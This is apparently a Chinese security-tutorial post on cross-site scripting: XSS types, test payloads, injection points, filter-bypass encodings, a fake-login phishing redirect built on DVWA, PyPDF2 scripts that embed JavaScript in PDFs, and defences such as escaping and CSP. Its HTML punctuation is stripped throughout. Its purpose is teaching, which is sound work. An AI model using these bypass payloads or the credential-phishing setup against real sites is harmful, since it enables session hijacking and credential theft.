XSS漏洞

发布时间:2026/7/16 5:43:43
XSS漏洞 XSS漏洞原理跨站脚本攻击Cross-Site-Scripting是代码注入的一种。攻击者利用网站没做输入过滤、输出转义的漏洞把恶意 JavaScript 代码嵌入网页中当其他用户打开这个网页时浏览器会把恶意脚本当成正常代码直接执行从而达到窃取用户个人数据、弹出广告甚至篡改网页内容等攻击目的XSS漏洞分类反射型XSS攻击特点恶意脚本通过URL参数进行传递仅能单次使用需诱导受害者点击携带payload的URL典型场景搜索框URL跳转错误提示页面攻击流程攻击者构造恶意链接如http://target.com/search?key受害者点击恶意链接网站接收恶意参数并将其返回给浏览器浏览器在渲染页面时触发恶意代码存储型XSS攻击特点恶意脚本被永久存储在服务器中任何访问该页面的用户都会出发攻击典型场景评论区、用户资料、博客留言攻击流程攻击者发布含有Javascript代码的文字恶意脚本被存储在浏览器中用户访问时浏览器从服务器提取含恶意代码的内容浏览器执行恶意代码DOM型XSS攻击特点恶意脚本通过修改页面 DOM 结构触发无需与服务器交互漏洞存在于前端 JavaScript 代码中。典型场景基于document.write()、innerHTML等 API 操作 DOM 的页面。攻击流程页面存在代码document.getElementById(‘content’).innerHTML location.hash.substr(1)攻击者构造链接http://target.com/#img srcx οnerrοralert(‘xss’)用户点击后location.hash的值被写入 DOMonerror事件触发脚本执行XSS漏洞危害1、用户信息泄露2、用户会话劫持3、恶意软件传播4、钓鱼攻击5、网站信誉受损6、数据篡改7、拒接服务8、权限提升9、社会工程学攻击如何验证存在XSS基础检测弹框scriptalert(1)/script无痕检测控制台img srcx onerrorconsole.log(xss-test)过滤检测特殊字符onerror、onload、onmouseover、onfocus常见注入点URL参数类型反射型XSS说明通过URL携带恶意参数示例http://example.com/search?qscriptalert(1)/script表单提交参数类型反射型/存储型XSS说明登录、注册、搜索等接口示例input namekeyword valuescript...DOM属性类型DOM型XSS说明document.URL、location.hash等示例http://example.com/#img srcx onerroralert(1)HTTP头部字段类型反射型XSS说明Referer、User-Agent、Host示例User-Agent: scriptalert(1)/script第三方组件类型供应链XSS说明引入不可信JavaScript或iframe示例script srchttp://evil.com/malicious.jsMarkdown/富文本类型存储型XSS说明评论区、文章编辑器等示例[点击这里](javascript:alert(1))HTML标签属性类型反射型/存储型XSS说明src、href、onload、style示例img srcx onerroralert(1)XSS绕过方法详情可参考XSS-Labs全关卡解析大小写转化ScriPtalert(1)/sCripT双写绕过sscriptcriptalert(1)/sscriptcript使用单引号、双引号闭合scriptalert(1)/script使用事件函数img srcx onerroralert(1)替换空格img/srcx/onerroralert(1)或使用制表符、换行符、%0a、%0d代替javascript伪协议 onfocusjavascript:alert(1) autofocus 编码绕过URL编码img srcx onerror#97;#108;#101;#114;#116;(1)实体编码#60;script#62;alert(1)#60;/script#62;Unicode编码script\u0061\u006c\u0065\u0072\u0074(1)/scriptXSS攻击案例XSS之httponly账号密码钓鱼HttpOnly属性的作用是让Cookie只能用于http/https传输而不能被客户端读取。攻击者可构造恶意网站诱导受害者访问该网站使受害者主动将敏感信息发送给攻击者payload:/textareascriptwindow.location.hrefhttp://eval/login.php/script创建后台登录程序以DVWA做简单演示1、获取后台前端页面在登录界面右键-另存为保存下来的页面是纯静态刷新时验证码也是静态原管理后台文件中有个GetCode.asp该文件是用于获取动态验证码的2、优化假后台将刚才另存后的代码复制到攻击者vps服务器中命名为login.php将假登录页面中验证码地址改为真实登录地址的验证码地址再将from表单提交的目标地址替换为用于接收用户账号和密码的文件地址新建save.php文件实现页面跳转和账号密码传参到服务器这样只要用户访问了插入恶意payload的网页Javascript代码就会自动执行使用户跳转到攻击者恶意构造的登录界面如果用户将账号密码输入进去提交后攻击者 的服务器就会保存受害者的账号密码并使其跳转到正常的登录界面XSS之PDFPDF XSS漏洞利用了PDF文件的结构和内容将恶意脚本代码嵌入到PDF文件中当用户打开PDF文件时恶意脚本代码会被执行。攻击过程1、攻击者创建一个恶意PDF文件其中包含恶意脚本代码2、攻击者将恶意pdf文件发送给目标用户或者将文件上传到一个可供用户下载的网站上3、用户下载并打开恶意的pdf4、pdf阅读器解析PDF文件并执行其中的脚本代码5、恶意脚本代码执行恶意操作例如窃取用户的敏感信息、修改用户的数据等。构造恶意xss-pdf方法一通过pdf编辑器生成文件–文档属性—动作—文档打印前–app.alert(‘xss’);文件–文档属性—Javascript—app.alert(‘xss’);2、python脚本 PyPDF2使用脚本生成含有恶意代码的pdf先执行xss.py再执行xss2.pyxss.py代码# -- coding: utf-8 --#若出现报错将from PyPDF2 import PdfRe注释或者删除#from PyPDF2 import PdfRefromPyPDF2importPdfReader,PdfWriter# 创建一个新的 PDF 文档output_pdfPdfWriter()# 添加一个新页面pageoutput_pdf.add_blank_page(width72,height72)# 添加js代码output_pdf.add_js(app.alert(xss);)# 将新页面写入到新 PDF 文档中withopen(xss.pdf,wb)asf:output_pdf.write(f)xss2.py代码# -- coding: utf-8 --fromPyPDF2importPdfReader,PdfWriter# 打开原始 PDF 文件input_pdfPdfReader(xss.pdf)# 创建一个新的 PDF 文档output_pdfPdfWriter()# 将现有的 PDF 页面复制到新文档foriinrange(len(input_pdf.pages)):output_pdf.add_page(input_pdf.pages[i])# 添加 JavaScript 代码output_pdf.add_js(app.alert(xss);)# 将新 PDF 文档写入到文件中withopen(xss.pdf,wb)asf:output_pdf.write(f)XSS如何防御对用户的输入进行过滤比如说添加黑名单或者白名单规则比如说对 ’ / javascript import等敏感字符进行转义对输出进行转义对单引号’、双引号、尖括号、and符、左斜杠/、右斜杠\进行转义也可使用htmlspecialchars()或者htmlentities()函数进行转义使用HttpOnly Cookie如果cookie中设置了HttpOnly属性那么通过js脚本将无法读取到cookie信息这样可以有效的防止XSS攻击窃取cookie。设置X-XSS-Protection属性该属性被所有的主流浏览器默认开启。X-XSS-Protection即XSS保护属性是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时停止渲染页面。开启CSP网页安全策略CSP是网页安全策略(Content Security Policy)的缩写。开启策略后可以起到以下作用禁止加载外域代码防止复杂的攻击逻辑禁止外域提交网站被攻击后用户的数据不会泄露到外域禁止内联脚本执行规则较严格目前发现 GitHub 使用禁止未授权的脚本执行新特性Google Map 移动版在使用。合理使用上报可以及时发现 XSS利于尽快修复问题。避免内联事件尽量不要使用 onLoad“onload(’{{data}}’)”、onClick“go(’{{action}}’)” 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。XSS和CSRF的区别XSS vs CSRF 核心区别一览表对比维度XSS跨站脚本攻击CSRF跨站请求伪造攻击本质注入恶意脚本到网页中执行伪造用户请求冒用身份操作攻击目标窃取信息Cookie、会话等执行操作转账、改密码等利用方式用户访问含恶意脚本的页面用户点击恶意链接或访问恶意网站前提条件网站存在输入输出过滤缺陷用户已登录目标网站且会话有效攻击后果信息泄露、会话劫持、钓鱼等非授权的操作执行防御重点过滤输入、编码输出、CSP防伪令牌Token、验证Referer